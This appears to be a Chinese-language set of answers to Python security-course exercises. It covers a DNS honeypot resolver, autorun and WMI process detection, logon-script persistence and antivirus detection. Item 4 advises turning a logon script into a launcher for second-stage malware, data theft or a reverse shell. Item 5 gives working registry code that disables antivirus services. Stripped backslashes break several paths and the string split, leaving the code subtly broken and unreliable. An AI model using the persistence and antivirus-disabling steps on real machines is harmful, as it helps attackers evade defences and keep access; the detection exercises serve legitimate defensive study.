table {
border-collapse: collapse;
width: 100%;
margin-bottom: 1rem;
}
th, td {
border: 1px solid #ddd;
padding: 8px;
text-align: left;
}
th {
background-color: #f2f2f2;
}
tr:nth-child(even) {
background-color: #f9f9f9;
}
pre {
background-color: #f8f8f8;
padding: 15px;
border-radius: 4px;
overflow-x: auto;
}
1、目前,HoneyResolver.py 很容易区分真实和虚假结果,因为所有虚假结果都解析到同一个 IP 地址。修改代码,仅将某些虚假子域名解析为为每个子域名分配的唯一 IP 地址。
要实现仅将某些虚假子域名解析为为每个子域名分配的唯一 IP 地址,可按以下步骤修改代码:
定义一个字典,用于存储某些虚假子域名及其对应的唯一 IP 地址。
在
resolve
函数中,检查请求的子域名是否在该字典中,如果是,则返回对应的唯一 IP 地址;如果不是,则返回蜜罐 IP 地址。
以下是修改后的代码:
from dnslib import *
from dnslib.server import DNSServer
host = "localhost"
port = 8053
subdomains = {
"www.": "10.0.0.1",
"smtp.": "10.0.0.2"
}
domain = "example.com"
honeyip = "10.0.0.0"
# 定义某些虚假子域名及其对应的唯一 IP 地址
fake_subdomains = {
"fake1.": "10.0.0.3",
"fake2.": "10.0.0.4"
}
blocked = {}
class HoneyResolver:
def resolve(self, request, handler):
subdomain = str(request.q.qname.stripSuffix(domain + "."))
if subdomain in subdomains:
reply = request.reply()
ip = subdomains[subdomain]
reply.add_answer(RR(
rname=request.q.qname,
rtype=QTYPE.A,
rclass=1,
ttl=300,
rdata=A(ip)
))
elif subdomain in fake_subdomains:
reply = request.reply()
ip = fake_subdomains[subdomain]
reply.add_answer(RR(
rname=request.q.qname,
rtype=QTYPE.A,
rclass=1,
ttl=300,
rdata=A(ip)
))
else:
reply = request.reply()
reply.add_answer(RR(
rname=request.q.qname,
rtype=QTYPE.A,
rclass=1,
ttl=300,
rdata=A(honeyip)
))
return reply
resolver = HoneyResolver()
server = DNSServer(resolver, port=port, address=host)
server.start_thread()
import time
while True:
time.sleep(5)
server.stop()
在上述代码中,我们定义了一个
fake_subdomains
字典,用于存储某些虚假子域名及其对应的唯一 IP 地址。在
resolve
函数中,我们首先检查请求的子域名是否在
subdomains
中,如果是,则返回对应的真实 IP 地址;然后检查请求的子域名是否在
fake_subdomains
中,如果是,则返回对应的唯一 IP 地址;否则,返回蜜罐 IP 地址。
2、AutorunDetection 使用 psutil 库确定进程的 PID。修改代码以提供有关可疑进程的更多信息,例如它们的创建时间或父 PID。
要修改
AutorunDetection.py
代码以提供有关可疑进程的更多信息,如创建时间和父 PID,可以在
DetectAutorunProcess
函数中添加获取这些信息的代码。以下是修改后的代码:
import win32con
from win32api import GetLogicalDriveStrings
from win32file import GetDriveType
import os.path
import psutil
def GetRemovableDrives():
driveStrings = GetLogicalDriveStrings()
drives = [item for item in driveStrings.split("x00") if item]
return [drive for drive in drives if GetDriveType(drive) is win32con.DRIVE_REMOVABLE]
def CheckAutorun(drive):
filename = drive + "Autorun.inf"
if os.path.isfile(filename):
print("Autorun file at %s" % filename)
with open(filename, "r") as f:
for line in f:
if line.startswith("Open"):
ind = line.index("=")
return line[ind+1:].rstrip()
else:
return None
def DetectAutorunProcess(executable):
for proc in psutil.process_iter():
if executable == proc.name():
try:
create_time = proc.create_time()
parent_pid = proc.ppid()
print("Autorun file running with PID %d, created at %s, parent PID: %d" % (proc.pid, create_time, parent_pid))
except (psutil.NoSuchProcess, psutil.AccessDenied, psutil.ZombieProcess):
print("Error getting information for process with PID %d" % proc.pid)
for drive in GetRemovableDrives():
executable = CheckAutorun(drive)
if executable:
DetectAutorunProcess(executable)
在这个修改后的代码中,
DetectAutorunProcess
函数在找到匹配的进程后,尝试获取该进程的创建时间和父 PID,并将这些信息打印出来。如果在获取信息时出现错误(例如进程已不存在、没有权限访问或进程处于僵尸状态),则会打印错误信息。
3、假设我们可以通过WMIDetection获取使用WMI启动的进程的PID,编写Python代码,利用这个PID,使用psutil库来收集有关该进程和可执行文件的更多信息,如进程名称、可执行文件路径、命令行、运行用户、创建时间、CPU使用率和内存使用率,并打印这些信息。若指定的PID不存在,输出相应的错误信息。
以下是一个示例代码,展示了如何结合WMIDetection获取的PID,使用psutil库来收集有关该进程和可执行文件的更多信息:
import psutil
# 假设这是WMIDetection获取的PID
pid = 19944 # 替换为实际的PID
try:
# 获取进程对象
process = psutil.Process(pid)
# 收集进程信息
process_info = {
'name': process.name(), # 进程名称
'exe': process.exe(), # 可执行文件路径
'cmdline': process.cmdline(), # 启动进程的命令行
'username': process.username(), # 运行进程的用户
'create_time': process.create_time(), # 进程创建时间
'cpu_percent': process.cpu_percent(interval=1), # CPU使用率
'memory_percent': process.memory_percent() # 内存使用率
}
# 打印进程信息
for key, value in process_info.items():
print(f'{key}: {value}')
except psutil.NoSuchProcess:
print(f'进程PID {pid} 不存在。')
在这个示例中,我们首先导入了
psutil
库。然后,我们假设从WMIDetection中获取了一个PID,并使用
psutil.Process
函数创建了一个进程对象。接着,我们收集了有关该进程的各种信息,如进程名称、可执行文件路径、命令行、运行用户、创建时间、CPU使用率和内存使用率。最后,我们打印了这些信息。如果指定的PID不存在,我们会捕获
psutil.NoSuchProcess
异常并输出相应的错误信息。
4、目前,LogonScript.py 仅启动一个命令提示符。修改脚本目标,使其能为攻击者提供有用的操作。
可将脚本中 `command = "cmd.exe"` 替换为能为攻击者所用的命令,例如添加一个下载并运行第二阶段恶意软件的终端命令。也可以执行文件上传、下载敏感信息、建立反向 shell 等操作,例如将 command 赋值为能实现这些功能的命令。
同时,运行修改 HKU 中值的脚本时,要确保目标位置对该账户可访问。若系统无第二个用户账户,需先创建并登录以配置其注册表,获取账户 SID 并在代码中设置 `userSID` 的值,以管理员权限运行代码,登录新用户账户后即可执行修改后的脚本。
5、修改 DetectAntivirusService.py,通过将检测到的服务的 Start 值设置为 0x04 来禁用该服务。
可以在原代码基础上进行修改,当找到
Start
值为
0x02
的服务时,以写权限打开相应键并调用
SetValueEx
将
Start
值设置为
0x04
。以下是修改后的代码示例:
import winreg
reghive = winreg.HKEY_LOCAL_MACHINE
regpath = "SYSTEMCurrentControlSetServices"
av_list = ['MBAM'] # 可根据需要扩展
try:
key = winreg.OpenKey(reghive, regpath, 0, access=winreg.KEY_READ)
numKeys = winreg.QueryInfoKey(key)[0]
for i in range(numKeys):
subkey = winreg.EnumKey(key, i)
for name in av_list:
if name in subkey:
subPath = "%s\%s" % (regpath, subkey)
# 以写权限打开键
k = winreg.OpenKey(reghive, subPath, 0, winreg.KEY_ALL_ACCESS)
numVals = winreg.QueryInfoKey(k)[1]
for j in range(numVals):
val = winreg.EnumValue(k, j)
if val[0] == "Start" and val[1] == 2:
print("Service %s set to run automatically, disabling it." % subkey)
# 设置 Start 值为 0x04
winreg.SetValueEx(k, "Start", 0, winreg.REG_DWORD, 0x04)
print("Service %s has been disabled." % subkey)
winreg.CloseKey(k)
winreg.CloseKey(key)
except Exception as e:
print(e)
注意:运行此代码需要管理员权限。